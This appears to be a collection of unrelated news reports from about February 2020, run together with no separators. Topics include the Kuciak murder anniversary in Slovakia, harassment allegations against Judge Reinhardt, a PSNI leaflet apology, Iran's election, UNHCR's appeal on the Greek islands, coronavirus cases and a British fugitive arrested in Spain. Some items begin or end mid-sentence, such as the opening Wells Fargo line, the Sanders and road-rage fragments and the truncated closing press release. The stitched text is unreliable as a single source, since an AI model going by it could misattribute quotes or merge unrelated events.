figures produced by this new method, in part because of concerns raised by Executive A and others that its release would cause investors to ask questions about Wells Fargos historical sales practices. BRATISLAVA, Slovakia - Thousands of people rallied in Bratislava and across Slovakia on Friday to mark the second anniversary of the slayings of an investigative reporter and his fiancee. Jan Kuciak and Martina Kusnirova were shot dead in their home on Feb. 21, 2018. The killings prompted major street protests unseen since the 1989 anti-communist Velvet Revolution in Czechoslovakia. The ensuing political crisis led to the collapse of a coalition government headed by populist Prime Minister Robert Fico and the dismissal of the national police chief. As a society, we can never allow anything like that to happen again, said Karolina Farska, an organizer of the anniversary events. In a separate gathering Friday, 15 foreign ambassadors paid respect to Kuciak and Kusnirova in the capital. They died because Jan fought for truth, U.S. ambassador to Bratislava Bridget Brink said. More than ever we must protect press freedom and fight against corruption. Four defendants standing trial in the Kuciak case face potential prison sentences of 25 years to life. The man suspected of shooting the couple pleaded guilty. The other three, including the alleged mastermind, controversial businessman Marian Kocner, have all pleaded not guilty to murder charges. Kocner had allegedly threatened the journalist following publication of a story about him. Another suspect made an agreement to co-operate with prosecutors in exchange for a lower sentence. He received a 15-year prison term on Dec. 30. Fridays gatherings take place before a Feb. 29 parliamentary election in Slovakia. Kuciak had been writing about alleged ties between the Italian mafia and people close to Fico when he was killed. The reporter also wrote about corruption scandals linked to the former prime ministers leftist party. Kocner had close contacts with some senior members of Ficos party. Kocner also allegedly hired a Slovak former intelligence official to carry out surveillance on Kuciak before his killing. The former law clerk who told Congress she had been sexually harassed by Judge Stephen Reinhardt in the last year of his life has gained support from 72 former Reinhardt clerks, more than half the total who worked for the liberal icon during his 37 years on the Ninth U.S. Circuit Court of Appeals. We believe the clerks testimony that she experienced inappropriate conduct, including sexual harassment, the former clerks said in an open letter Thursday, a week after Olivia Warrens testimony to a House Judiciary subcommittee sent a jolt through the legal community. Some of us experienced or witnessed conduct in chambers that we would call sexist, workplace bullying or mistreatment. Others did not, the letter said. Most of us were as shocked as the rest of the world to learn of the clerks experience in Judge Reinhardts final year. All of us, whatever our personal experience, are united that no clerk should have to go through this kind of ordeal and that it is important to stand with those who speak out about it. The letter was circulated by Michele Dauber, a Stanford law professor who clerked for Reinhardt in 1998-99. Signers included UC Davis Law School Dean Kevin Johnson, Yale Law School Dean Heather Gerken, and Catherine Lhamon, chairwoman of the U.S. Civil Rights Commission. Asked for comment, the appeals court said it is committed to providing a good workplace environment for all employees. After surveying thousands of current and former law clerks and other employees, the court said, it established an Office of Workplace Relations in 2018 to address work-related problems. It also has a confidential employee hotline and a group of former law clerks available as mentors for current clerks. Reinhardt, appointed to the court in San Francisco by President Jimmy Carter in 1980, became one of the nations most prominent liberal judges and also perhaps its most-reversed judge, by a Supreme Court that had a conservative majority during most of his career. One ruling that survived was his 2012 decision striking down Proposition 8, the 2008 initiative that banned same-sex marriage in California. Reinhardt said the state could not withdraw rights to harm a politically disfavored group. The Supreme Court reached the same result on narrower grounds in 2013, two years before it legalized same-sex marriage nationwide. The high court overturned Reinhardts decisions that struck down a Washington state ban on physician aid in dying and a federal prohibition on a type of midterm abortion that opponents called partial-birth abortion. Warren began her clerkship with Reinhardt in May 2017, after graduating from Harvard Law School, and was working for him at the time of his death in March 2018, at age 87. She is now a lawyer at the Center for Death Penalty Litigation in Durham, N.C. In her Feb.13 testimony, Warren said one of the first things she saw in Reinhardts chambers was a geometry-style chart with curving lines, to which the judge had added dots resembling a womans breasts. Two days later, she said, he told her he was proud of the drawing and asked her whether she liked it. Throughout her clerkship, she said, Reinhardt commented on womens appearances and regularly made disparaging statements about her appearance, her views on womens rights and her relationship with her husband. After the #MeToo movement emerged in late 2017, Warren said, Reinhardt denied that men could be harassing women and told her women were liars who could not be trusted. When accusations of sexual misconduct from at least 15 women forced Alex Kozinski, the courts former chief judge, to step down in December 2015, Reinhardt reacted furiously, Warren said, telling her he might never hire another woman. Drought Map Track water shortages and restrictions across Bay Area Check the water shortage status of your area, plus see reservoir levels and a list of restrictions for the Bay Areas largest water districts. Another federal judge, Carlos Murguia of Kansas, announced his resignation last week after a judicial panel reprimanded him for allegedly sexually harassing female employees. Laws against sexual harassment and other anti-discrimination measures apply to some government employees, but not to judges law clerks or other federal judicial employees. Warren did not accuse Reinhardt of ever touching or propositioning her. But she said that when she told him she was disappointed someone with his intellect and imagination could not grasp the pervasive and harmful nature of sexual harassment, he screamed at me that I was not as smart as I thought I was that I was just a stupid little girl. There may have been a day in which I was not harassed (whether by reference to my physicality, my intellectual capacity, my feminism, my gender identity, or my sexuality), but I cannot remember one, Warren said. The 72 former clerks urged the U.S. Judicial Conference, and, if need be, Congress, to take bold steps to ensure that all judges and judicial personnel will be trained in principles of anti-discrimination and anti-harassment and to protect their employees. It is particularly unfortunate that this conduct occurred in the chambers of a preeminent judge who made pursuing justice his lifelong goal and who wrote countless opinions advancing the cause of gender equality, civil rights, and labor rights, they said. Bob Egelko is a San Francisco Chronicle staff writer. Email: begelko@sfchronicle.com Twitter:@BobEgelko Not a moment in this show goes untouched by a little bit of dance, said Heather Fleischman, choreographer for the Delaware Valley High School production of Catch Me If You Can. It opens Friday, March 6. Everyone dances in this show, she said. In some Broadway musicals the leads get away without breaking a sweat and let the ensemble carry the movement story. Just wait until you see Dont Break the Rules! Our Hunter throws down some major moves to get the audience excited. Thats Hunter Trstensky, who plays the role of a dogged detective. You dont expect dancing from a middle-aged guy in a rumpled trench coat, but Fleischman does. The dancing is always a prominent feature of Del Val musicals, but this years show promises to take dance to new heights as ranks of dancing nurses and flight attendants fill the stage. Catch Me is the story of young Frank Abignale Jr. (played by Thai Branowski) who bluffs his way into jobs as teacher, airline pilot and doctor, making millions by forging checks. Meanwhile he is hunted by Hunter. Fans of Terrier theater will remember the clash of these two actors last year in Urinetown, with Hunter as evil oligarch and Thai as rebel leader. This will be Fleischmans ninth musical as choreographer, although her experience on the Del Val stage began when she was student with a walk-on role in Sweet Charity, followed by a ballet solo in Oklahoma! In 2006, her senior year, she was student choreographer for Hello, Dolly! After college, she danced professionally with Amanda Selwyn Dance Theatre in New York City and MM2 Modern Dance Company in Philadelphia. Back at Del Val she choreographed Thoroughly Modern Millie in 2012 and every musical since. Now she divides her time between teaching at Showbiz Kidz Dance Center in Phillipsburg and teaching three dance courses at Del Val. Director Clinton Ambs praises her abilities as a choreographer and the passion for dance that she transmits to the students. Ambs said, She will work long past rehearsal has ended to fine-tune performances. Additionally, she records excerpts of her original choreography and distributes it to the cast so they may engage in independent work even when Dance does not appear on the rehearsal schedule. She said, I love how dance allows you to express complex thought and emotion through a singular movement. You can convey an idea or concept that languages have not yet grasped. And watching a dancer leads you to discover your own thoughts, feelings and ideas. Teaching dance, Fleishman sees my students grow in confidence, not only in how the body moves through space, but in their own abstract thought Dance gives young people ownership of the space they are taking. Ensemble dancer Ashley Henderson says dance gives her the chance to be creative again like when we were younger, and Thai says, Dance allows me to tell a story or work something out that I may not know how to verbalize. Liz Kelly, who plays Abignales girlfriend, also likes the chance for expression without words. She said, It really helps you work out a problem and explore it even if you dont know how to tell the story yet. This year Fleischman is assisted by dance captains Dot Bach and Jill Pfefferle. She said, They are absolute all-stars. Dot is a technician; she is able to teach and break down a step to teach any level. Jill is a natural leader. She finds ways to connect the dance to what is being said better and faster than anyone else. She expects their dedication and leadership will shine through the entire cast. If you see the show, watch for the dance number Butter out of Cream, which includes some Vegas showgirl choreography, and some beautiful fans that our costume and props guru Ms. (Jessica) Severns made for us, said Fleischman. In that number, Bryant Kessie and Thai show off some of their own moves and personality. (Bryant portrays Abignales father.) Also take note of Jet Set, in which four couples "execute lifts that seemed frightening at first, but now it is a seamless moment that I bet they dont even think about. The air-crew dancers are Keilah Hanley, Emma Wish, Madi Gaffney, Hannah Fey, Ashley Henderson, Leo Fontanez, Dorothy Bach, Grace Delisle, Gabriella and Jillian Pfefferle, Hunter Leeds, William Gonzalez, Andre Jean, Mark Westling, Brandon Schuetz and Holden Hutchinson. The dancing nurses are Leo Fontanez, Keira Janetzko, Keilah Hanley, Dorothy Bach, Jillian and Gabriella Pfefferle, Hannah Fey, Grace Delisle, Margo McGovern and Sophia Nuijens. Senior citizens are invited to a free preview performance of Catch Me If You Can at 5 p.m. on Thursday, March 5. It will be followed by 7 p.m. shows on two weekends Friday, March 6; Saturday, March 7; Friday, March 13; and Saturday, March 14. There will also be a 2 p.m. show on March 7. Admission costs $12. Reserve tickets by contacting theater@dvrhs.org, or purchase tickets at the door. Submitted by Delaware Valley Regional High School The PSNI has apologised for issuing leaflets at an event which linked rape to alcohol consumption. A senior officer said the leaflets had been "discontinued a number of years ago" and they were investigating how they came to be distributed in north Belfast this week. Detective Chief Superintendent Paula Hilman said: "I can assure you that we will learn lessons from this." The leaflets stated that 'Alcohol is the number one rape drug. How much have you taken already?' One woman who contacted this newspaper said it was "victim blaming from those meant to protect the victim". Sara Haller (25) penned a letter to the PSNI to express her disgust at the language and tone of the flyers, which she believes gives the message that "if you're intoxicated, you're allowed to be raped". Ms Haller, who works for a sexual health charity, said she has been on the receiving end of sexual assaults in the past. She has also lodged a complaint with the Police Ombudsman over the content of the "insulting" leaflets. Ms Haller said she was shocked to see them on display at a PSNI information stand at a community event in Fortwilliam on Thursday. Expand Close Sara Haller / Facebook Twitter Email Whatsapp Sara Haller She told the Belfast Telegraph: "I was taken aback when I saw the leaflet and had to read it a few times, but I became more angry and upset each time. It was given out at a young person's event, attended by people from the ages of four all the way up to 18, along with their parents." Ms Haller added: "My issue with this leaflet is that it gives out the core message that those who are raped are responsible for it; if only they had been 'SMART' as it so eloquently puts it. "If this were merely a leaflet outlining the risks associated with alcohol to health, relationships or mental health, the reaction to it would not be the same. "We all know the risks of consuming too much alcohol, but the research around rape and sexual assault shows that 'drinking too much' isn't why these crimes exist; it is much more multifaceted than that. "This leaflet allows those who perpetrate these attacks to hide behind the stereotype of a seedy man in a bar preying on vulnerable women." Ms Haller said that while she believes the PSNI do "excellent work" around the issue of sexual consent, such as their 'No Grey Zone' awareness campaign, this leaflet was "misinformed and ill-written". She added: "If people like me are reacting to the leaflet in this way then there must be something wrong. "As we so often hear, please drink responsibly but I would urge the PSNI to please leaflet more responsibly in the future." Last night the head of the PSNI's Public Protection Branch, Detective Chief Superintendent Paula Hilman, apologised for the leaflets, which she said had been issued in error. "First of all, I want all victims to know that the only people who are responsible for rape are rapists," she said. "Victims are not to blame. "We are investigating how these flyers made their way into the public arena as they were discontinued a number of years ago. "They do not reflect, in any way, how PSNI views or treats victims of sexual crime and we apologise, unreservedly, for what has happened. "I can assure you that we will learn lessons from this. "We are taking urgent action to ensure that any remaining flyers will be destroyed so this cannot happen again. "I want to take this opportunity to say that if you are a victim of a sexual crime and that if you choose to speak to us, you will be listened to, respected and treated sensitively. "Your report will be thoroughly investigated, and you will be signposted to support services such as Nexus and Victim Support, among others. "As a police service, it is our job to keep you safe, to investigate allegations of crime and bring offenders before the courts. "We are committed to investigating sexual crime robustly and thoroughly and we will do all we can to bring perpetrators to justice." According to PSNI statistics, 983 rapes were reported to police in Northern Ireland during 2019 - down from 1,080 the previous year. If anyone is now positioned to assemble the necessary majority of 1,991 delegates, it is Sanders. Indeed, the partys rules operate in his favor. Candidates who win less than 15 percent of the vote (statewide or in a given district) receive no delegates. That means Sanders, leading in the polls, is poised to win even more delegates than his share of the overall vote, because he is dividing a pie that excludes those who fail to achieve 15 percent. Sanders further benefits from the fact that those who fall below that threshold are likely siphoning votes from his more moderate competitors. If the rules are rigged, they are rigged in Sanderss favor. Source: Xinhua| 2020-02-21 16:42:08|Editor: huaxia Video Player Close Medical team members attend a ceremony before leaving for Hubei Province in Xi'an, northwest China's Shaanxi Province, Feb. 21, 2020. The second batch of traditional Chinese medicine medical team of Shaanxi, formed by 35 medical staff, left for Hubei to aid the novel coronavirus control efforts there. (Xinhua/Zhang Bowen) AURORA, Colo. (Feb. 21, 2020) - Despite bureaucratic hurdles, the vast majority of pediatricians want to keep participating in a national program that provides vaccinations at no cost to children who are on Medicaid, uninsured, or who are American Indian/Alaska Native, according to researchers at the University of Colorado Anschutz Medical Campus. The Vaccine For Children (VFC) Program was created in 1993 to keep children from contracting vaccine-preventable diseases due to an inability to pay for the drugs. Since then, it has increased vaccination rates, decreased vaccine-preventable illnesses and reduced social and racial disparities among those inoculated. "While it is likely that much of the burden reported by pediatricians related to the VFC program is in response to...tightened requirements, it is reassuring that providers seem to have remained with the program," said the study's first author Sean O'Leary, MD, associate professor of pediatrics at the University of Colorado School of Medicine. The study, published online today in the journal Pediatrics, examined pediatrician participation in the program. "We sought to explore pediatricians' current attitudes and experiences with the program and how these attitudes and experiences are affecting participation," said O'Leary, who is also spokesman for the American Academy of Pediatrics and practices at Children's Hospital Colorado. They researchers sent surveys to 471 pediatricians with 372 responding. They asked how many of the doctors participated in the program, the perceived burdens of taking part, their experiences and practices in stocking the vaccines and their views on a bigger reimbursement for giving the vaccine to Medicaid patients. Yet when asked if they considered quitting the program in the past year, 85% said they had never seriously considered or discussed it. Another 10% said they had considered it but not seriously and 5% reported seriously considering it. Those who seriously considered opting out, said the chief culprit was difficulty in record keeping requirements. Other reasons included unpredictable vaccine supplies, inadequate payment for vaccine administration fees and keeping separate stocks of vaccines, requiring separate storage facilities. But nearly all pediatricians surveyed said the program was valuable because they could give vaccines regardless of the patients' ability to pay, children could get the vaccinations at their own medical provider's office and it improved overall vaccination rates. O'Leary recommended alleviating burdens where possible. That could include increasing payments for vaccine administration, uniform rules that allow borrowing between private and VFC vaccine stocks and creating incentive to buy proper storage and monitoring equipment. "In order to maintain and increase vaccination rates," O'Leary said. "It will be important to keep monitoring these attitudes." ### About the University of Colorado Anschutz Medical Campus The University of Colorado Anschutz Medical Campus is a world-class medical destination at the forefront of transformative science, medicine, education, and patient care. The campus encompasses the University of Colorado health professional schools, more than 60 centers and institutes, and two nationally ranked hospitals that treat more than 2 million adult and pediatric patients each year. Innovative, interconnected and highly collaborative, together we deliver life-changing treatments, patient care, professional training, and conduct world-renowned research powered by more than $550 million in research awards. For more information, visit https://www.cuanschutz.edu/ Find the latest University of Colorado Anschutz Medical Campus news here. The Russian president also looks for the restoration of good relations President of Russia Vladimir Putin TASS President of Russia Vladimir Putin looks for the restoration of good relations between Russia and Ukraine. He also considers their deterioration as the loss as TASS reported. Putin said that the possibility of the improvement of ties is present as hope is the last thing to be lost but he is concerned about the position of President of Ukraine Volodymyr Zelensky. Unfortunately, he (Zelensky, - 112.international) came from Paris (from the Normandy Four summit of Germany, Russia, Ukraine and France on December 9, 2019, - 112.international) and started to talk that it is necessary to reconsider the Minsk Agreements. It raises questions, Putin stressed. However, the Russian president underlined that two countries succeeded to agree on the prisoner swap, which took place on September 7, 2019, and agreement of the gas transit through Ukraine signed on December 30, 2019. Besides, Putin replied in the affirmative whether he considers the ruined friendship with Ukraine to be a loss for Russia. He reminded that he considers the Ukrainians and Russians to be the one nation. On February 14, Zelensky and Putin discussed the possibility of another prisoners exchange. This time, Ukraine wants to include Crimean Tatars in the list. Iran extended voting on Friday in an election after which conservatives are expected to tighten their grip on parliament against a background of voter apathy following the disqualification of thousands of candidates. The 11th parliamentary election since the 1979 Islamic Revolution comes after steeply escalating tensions between Tehran and Washington, and Iran's accidental downing of a Ukrainian airliner that sparked anti-government protests. As he cast the first ballot in the election, supreme leader Ayatollah Ali Khamenei urged all Iranians to take part, saying that doing so would "guarantee the country's national interests". Voters formed long queues in the morning at polling stations in south Tehran, where conservatives have a solid support base, but far fewer were seen waiting to vote in upmarket northern neighbourhoods. After seven hours of voting, more than 11 million of the 58 million people eligible to vote had done so, the interior ministry said. Polling period extended by two hours, twice! Authorities extended voting for two hours to 1630 GMT to allow more people to vote, the National Elections Committee said. State television showed people still queueing to vote at dusk in Shiraz and other cities. The authorities then extended voting for a second time by another two hours to 1830 GMT, state television said. While making the announcement, the station broadcast images from more than 20 towns and cities showing people still lined up to vote. The election was overshadowed by an outbreak of the new coronavirus that the authorities say has killed four people in the Islamic republic this week. One official accused Iran's enemies of overplaying the spread of the disease in a bid to harm the credibility of the election. An elderly Afghan asylum-seeker and her daughter outside Moria, on the Greek island of Lesvos. UNHCR/Achilleas Zavallis UN High Commissioner for Refugees Filippo Grandi today called for urgent action to address the increasingly desperate situation of refugees and migrants in reception centres in the Aegean islands. Conditions in facilities on Lesbos, Chios, Samos, Kos and Leros are woefully inadequate, and have continued to deteriorate since Grandi last visited in November. Mediterranean arrivals into Europe have plummeted since the 2015 crisis, but arrivals to Greece have risen in the last year and made chronic overcrowding on the islands much worse. Grandi has welcomed recent efforts by the Greek Government to address the situation, noting a series of priority measures announced this month. However, it will inevitably take some time for the planned measures to be fully enacted. Decisive action is urgently needed to alleviate overcrowding through large-scale transfers of asylum seekers to the mainland, where additional reception capacity must be found quickly. Conditions on the islands are shocking and shameful, said Filippo Grandi, UN High Commissioner for Refugees. Greece with European support has to act now to deal with an untenable situation, while the longer-term measures are put in place. Winter weather is now also adding to the suffering on the islands. Many people are without power, and even water, living amid filth and garbage. Health services are negligible. The risks faced by the most vulnerable individuals, pregnant women, new mothers, the elderly and children are among the worst seen in refugee crises around the world. Action is also needed to address the understandable concerns of the local communities hosting the refugees and migrants, to avoid social tensions rising still further. And of course, Greece should not be left alone. The European Union (EU) has provided essential and continuous support to Greece through European Commission funding and its agencies such as the European Asylum Support Office. These resources are still needed, but so are responsibility-sharing measures such as the relocation of unaccompanied children and other vulnerable people. Since the end of the emergency relocation scheme in September 2017, only a handful of European countries have pledged to take asylum seekers and refugees from Greece under relocation and expedited family reunion. To address the critical situation on the islands, UNHCR is today appealing to the Greek Government, the EU, and European States to: Urgently reduce the crowding and risks by ensuring additional reception places on the mainland for at least 20,000 people and move them there as quickly as possible. Improve living conditions for those who remain on the islands, prioritizing water, sanitation and healthcare. Help unaccompanied children by relocating them elsewhere in Europe and by allowing them to reunite with their families. Focus on ensuring that asylum procedures are not just faster, but fair and proper too. Include safeguards in the imminent revision of the asylum law and its application. Invest in long-term solutions for those people who are recognized as refugees, by giving them the opportunity to become self-reliant. UNHCR is ready to support Greece in search of solutions to address this complex situation. Download B-roll video from Moria reception centre on the Greek island of Lesvos from Refugees Media (login required): https://media.unhcr.org/Share/xofold5e46n01t5361ghs23o2182v5u0 Download photos from Moria reception centre on the Greek island of Lesvos from Refugees Media (login required): https://media.unhcr.org/Share/qk5de3y810fxo7t328ha7c8u656l6w70 See related story: Vulnerable asylum-seekers struggle to access medical care on overcrowded Greek islands For more information on this topic, please contact: WASHINGTON As Chinese officials face allegations of locking down information about the spread of the coronavirus, U.S. intelligence agencies have been helping in governmentwide efforts to gather information about the diseases global spread. Already, some of the best information about the coronavirus and the Chinese governments response to it is coming from military channels, according to two sources familiar with the matter. Chinas behavior causes the intelligence community to get involved, said one of those sources, a former intelligence official. Because no data means spying. The former official indicated that the most important issue being tracked is the Chinese leadership plans for what is known as continuity of operations, meaning the ability for the government to maintain its basic functions during an unprecedented crisis, such as nuclear war or natural disaster. In China, this might involve senior leaders leaving the country or seeking safety in shelters, like U.S. doomsday bunkers, said the source. The intel community, said the source, is seeing some signs Chinese officials are making those kinds of contingency plans, indicating the potential level of concern within Beijing. Tracking the coronavirus. (Photo illustration: Yahoo News; photos: AP [2], Getty Images) The intelligence communitys involvement comes amid international frustrations with Chinas reticence to accept international assistance. The World Health Organization, including American experts, was finally allowed to visit China on Monday to do field research on the disease but has been delayed and will not, as of now, be visiting the alleged location of the origin of the outbreak due to what Chinese officials described as a lack of time and resources to host international experts. At least officially, however, the WHO has been complimentary of China's efforts. In a statement, the WHO told Yahoo News that since the beginning of the outbreak, China [has] shared data in a transparent manner. However, the organization, which receives funding from China, has come under fire for what many have called a delayed response to the outbreak and a failure to pressure Chinese leadership into further openness. Story continues In the United States, the Office of the Director of National Intelligence, the CIAs Global Issues Mission Center and the Defense Intelligence Agencys National Center for Medical Intelligence have all been supporting the White House Task Force on the coronavirus, according to three intelligence sources familiar with the matter. The task force is led by the Department of Health and Human Services and the Centers for Disease Control and Prevention. The National Center for Medical Intelligence is based in Fort Detrick, Md., and tracks disease outbreaks and potential danger to the U.S. military, as well as preparedness of foreign leaders to respond to pandemics or other related attacks. A military spokesman told Yahoo News the agency is closely monitoring the coronavirus outbreak and the worldwide response to it. In this instance of the coronavirus, the intelligence community has to figure out a way to quickly gather information about a rapidly progressing potential pandemic without risking human sources lives, losing track of other threats or getting in the way of the CDC and WHO, which take primary responsibility for response and outreach. Tedros Adhanom Ghebreyesus, director general of the World Health Organization, at a press conference about the coronavirus on Feb. 10 in Geneva. (Salvatore Di Nolfi/Keystone via AP) As of Thursday, the WHO reported over 75,000 confirmed cases of coronavirus disease globally, as well as 2,129 deaths, the majority in China, notifying travelers that the global risk assessment for the disease is high. Symptoms can range from a common cold to more severe respiratory symptoms, and is transmitted from person to person. A global pandemic has long been a concern to U.S. national security officials, and planning for such outbreaks has been a crucial part of government planning in previous administrations. Pandemic disease poses one of the greatest threats to global stability and security, wrote Lisa Monaco, who served as President Barack Obamas homeland security and counterterrorism adviser, in an op-ed on the LawFare, a national security blog. She also noted that the Trump White House no longer has a dedicated unit to oversee preparedness for pandemics, as there was under Obama during the West African Ebola crisis. The U.S. and China have seen tensions rise over recent years as the U.S. cracks down on Chinese espionage and intellectual property theft amid an ongoing trade war, making it harder for U.S. officials to get complete information about the public health crisis. While there are always channels available to communicate with China, its not always clear Chinese officials will make use of them or pick up the phone, said one national security official. The Communist Party and the broader bureaucracy are concerned about reporting bad news to President Xi Jinping, and also the diseases potential impact on the global economy. The situation with China certainly makes it harder, I think more necessary and harder, to get solid intelligence, said Greg Treverton, a professor at the University of Southern California and a former chairman of the National Intelligence Council, in an interview with Yahoo News. Treverton, who has written extensively about transnational threats, recalled the governments internal response to both the SARS epidemic in 2003, another instance of the coronavirus in China, as well as the gargantuan effort around responding to the West African Ebola epidemic between 2014 and 2016. He told Yahoo News that the intelligence community invested heavily in anticipatory tracking to follow Ebolas path in Africa before cases surfaced in the U.S. and the issue became more domestic. These are existential, serious issues, continued Treverton. Health is an enormous national security issue, particularly when the intelligence target i.e., China is not as helpful as it should be. _____ Read more from Yahoo News: The San Francisco Department of Public Health said Thursday a person who tested positive for coronavirus (COVID-19) is being treated at a San Francisco hospital. The unnamed patient was part of a group evacuated from the Diamond Princess cruise ship in Japan and then brought to Travis Air Force Base in Fairfield. The cruise ship experienced an outbreak of the pneumonia-like virus. The individual had no symptoms but tested positive for the virus in Japan and was then quarantined at the air force base. The U.S. Centers for Disease Control and Prevention protocol for federally quarantined patients requires hospitalization for those who test positive overseas or in the U.S., even if they do not have symptoms. Public health officials aren't releasing the name of the hospital or the name of the patient to protect the patient's privacy. Precautions are being taken by the hospital to keep patients and staff safe. Earlier this month, a San Francisco hospital treated two people with new coronavirus from San Benito County. The pair has since been discharged in good health and is no longer in the city, San Francisco officials said. Public health officials said there is a low risk that a resident will get the virus. The risk depends on a person's travel history rather than culture, race or ethnicity. Public health officials said no evidence exists of the virus spreading in the city. The latest information on the virus can be found at www.sfdph.org or at www.sf72.org. Bay City News contributed to this story. Amy Graff is a digital editor with SFGATE. Email her: agraff@sfgate.com. Purchases made via links on our site may earn us an affiliate commission KENOSHA, WI The Kenosha County Job Center and the Kenosha News are hosting a Virtual Spring Job Fair this April. This event will now be held online from April 15-29, featuring profiles and job listings for our hiring companies, and more! To participate and view employers and positions in the virtual job fair, please click here. The hiring event partnership includes the Kenosha County Job Center, ResCare Workforce Services, and the Workforce Development Board of Southeastern Wisconsin. This event is free to job seekers. Here is a list of our participating employers: Abbey Springs Allied Universal AWG First American Bank Geneva Lake Environmental Agency Geneva National Swim & Racquet Club Halpin Staffing Services Home Instead Senior Care Horizon Home Care & Hospice Kenosha Human Development Services Kenosha Sheriffs Department Mars Resort OAKFIRE RCK Foods Six Flags Staffing Partners Uline UNFI Water Safety Patrol Wisconsin Veterans Home Dont miss out on this opportunity to learn more about leading SE Wisconsin companies who are currently recruiting for full or part-time, temporary or permanent office, sales, technical, professional and other positions. Love 0 Funny 0 Wow 0 Sad 0 Angry 0 A disgraced Jersey City pastor was sentenced to eight years in prison for the sexual assault of a 10-year-old member of the church seven years ago, Hudson County Prosecutor Esther Suarez said Friday. Orlando Martinez-Chavez, 48, was also sentenced by Hudson County Superior Court Judge Patrick Arre to 18 months for criminal sexual contact against a second victim and five years for endangering the welfare of a child for the third victim. These two sentences will run concurrent to the eight-year sentence. Martinez-Chavez, a father of three who led the Iglesia Pentecostal Lirio de los Valles church on Summit Avenue in the Heights, must register under Megans Law and is subject to parole supervision for life. According to a criminal complaint from July 2018, the 10-year-old victim told police that between November 2012 and November 2013 the pastor reached inside her pants and touched her genital area. A relative of the pastor also came forward and said the 48-year-old fondled her breasts over her clothing. Martinez-Chavez was found guilty in September after a trial, related to the 10-year-old, that lasted one day. He must serve 85 percent of his sentence before he is eligible for parole, pursuant to the No Early Release Act. A month after his conviction, Martinez-Chavez pleaded guilty on charges related to two additional victims. The state was represented by Hudson County Assistant Prosecutor Angela Gingerelli, of the Special Victims Unit. A British prisoner who disappeared from his jail cell in 2018 has been arrested in Spain after he was found working in an illegal underground cigarette factory. The clandestine operation hidden 13ft below a stable could churn out 3,500 cigarettes an hour and is believed to be the first of its kind in Europe. Daniel Dobbs was allegedly part of the gang behind the operation, which Europol said generated more than half a million pounds (635,000) in criminal profits per week. The 31-year-old, nicknamed Dobbo, from Malton, in North Yorkshire, was sentenced to 13-and-a-half years in prison in January 2014 after he was convicted of trafficking heroin and amphetamines. However he vanished from his cell at HMP Hatfield Lakes, a category D open prison in South Yorkshire, in November 2018. British fugitive found working in secret underground cigarette factory Show all 8 1 /8 British fugitive found working in secret underground cigarette factory British fugitive found working in secret underground cigarette factory British fugitive Daniel Dobbs, 31, who escaped from prison in Yorkshire in November 2018, was one of 20 people arrested in Malaga, southern Spain, after police found an underground counterfeit cigarette factory. Dobbs, from Malton, in North Yorkshire, was sentenced to 13-and-a-half years in prison in January 2014 after he was convicted of trafficking heroin and amphetamines. Guardia Civil British fugitive found working in secret underground cigarette factory Guardia Civil British fugitive found working in secret underground cigarette factory NCA British fugitive found working in secret underground cigarette factory Guardia Civil British fugitive found working in secret underground cigarette factory Guardia Civil British fugitive found working in secret underground cigarette factory Guardia Civil British fugitive found working in secret underground cigarette factory Guardia Civil British fugitive found working in secret underground cigarette factory Guardia Civil The National Crime Agency (NCA) tracked him down to Spain, where he was living under a false name, and he was arrested in Monda, near Malaga, on 11 February as the Spanish Civil Guard smashed an organised crime group. He was detained alongside 19 other people, mostly from Britain, who are also suspected of being involved. Police seized more than three million cigarettes, as well as 20kg of hashish and 144kg of cannabis, three weapons and GPS tracking and jamming devices. A shipping container masked the entrance to the bunker, which was accessed through a forklift and stairs. The facility, which had been operating since 2019, included bunkbeds and a kitchen for six Ukrainian workers who were forced to live and work in dangerous and unsanitary conditions and not allowed to leave on their own. An electric generator provided an air supply to the bunker, however it had shut down on the day of the arrests either because it had run out of fuel or because someone switched it off. The Spanish Civil Guard said all six workers could have died from lack of oxygen if officials had not found them in time. A spokesperson said: When noticing the lack of air, they went to the exit of the bunker, which was blocked from the outside, and began to scream and hit the container that blocked the exit. Although the members of the arrested criminal organisation knew about the six workers inside, they did not show it at any time to the officials in charge of the investigation. If the acting force had not located the clandestine factory in time, the lack of oxygen would have made the conditions of the underground facilities incompatible with the lives of the workers who were there. The NCA said Dobbs would be returned to the UK once the Spanish investigation and judicial proceedings have ended. Alison Abbott, of the NCAs offender lifetime management unit, said: Dobbs arrest is a fantastic result and shows the power of our international partnerships. British fugitives should know that we will catch up with them no matter where they are. The opposition National Democratic Congress (NDC) has condemned what it says was police brutalities meted out to anti-voter register protestors during Thursdays State of the Nation Address delivered by President Akufo-Addo in Parliament. In a statement signed by its General Secretary, Johnson Asiedu Nketia, the NDC said the assault suffered by the protestors who included Peter Boamah Otokunor, the NDC Deputy General Secretary was completely needless and must be condemned. The cruel and barbaric manner in which the police used unjustifiable force in an attempt to suppress the constitutional rights of Ghanaians to protest peacefully, was totally disproportionate and unwarranted. This callous application of force resulted in physical injuries to some of the protesters including our Deputy General Secretary in charge of Operations, Mr. Peter Boamah Otokunor. The party claimed that the Director of Operations at the Accra Regional Police Command, Assistant Commissioner of Police (ACP), Kwesi Ofori, ordered the use of water canons containing hot chemical solution on the protestors. To top this aberrant behaviour of the goons under the authority of Kwesi Ofori, our MPs decried the harassment and intimidation by armed military men and heavily jacked-up SWAT/National Security Operatives who uncharacteristically [were] stationed in the Chambers of the House. We roundly condemn this utterly unacceptable and despicable security arrangement. While patting its shoulders for the bold action to stage a walkout in support of the resistance against the new voter register, the party demanded an immediate institution of a police inquiry into the use of the brute force on the protesters and issue punitive sanction where necessary. Members on the Minority side of Parliament on Thursday boycotted the State of Nation Address in protest of threats against the country's democracy. They left Parliament shortly after President Nana Akufo-Addo assumed his seat on Thursday, February 20, 2020. Minority Leader, Haruna Iddrisu said they took the decision because the government had refused to implement recommendations made by the Emile Short Commission on the Ayawaso West Wuogon by-election violence, alleged interference in the activities of the Electoral Commission in the compilation of a new voters' register and the perceived attack of businesses owned by NDC members. ---citinewsroom The victim observed Adkins allegedly speed up from behind, driving her vehicle in the opposing lane and forcing the victim and her vehicle off the road, according to the document. After the victims vehicle stopped in the grass, Adkins allegedly exited her vehicle to confront the woman. DUBLIN, Feb. 21, 2020 /PRNewswire/ -- The "Key Trends in Health and Wellness Tourism: Analysis of traveller types, key market trends, key destinations, challenges and opportunities" report has been added to ResearchAndMarkets.com's offering. Wellness tourism is travel associated with the pursuit of maintaining or enhancing one's personal wellbeing. Health and wellness tourism has diverse offerings that allow travelers to experience wellness tourism that suits them. This report looks at the health and wellness tourism segment in detail, exploring current and future trends in traveler types and destinations. Key Highlights The Global Wellness Institute (GWI) estimates 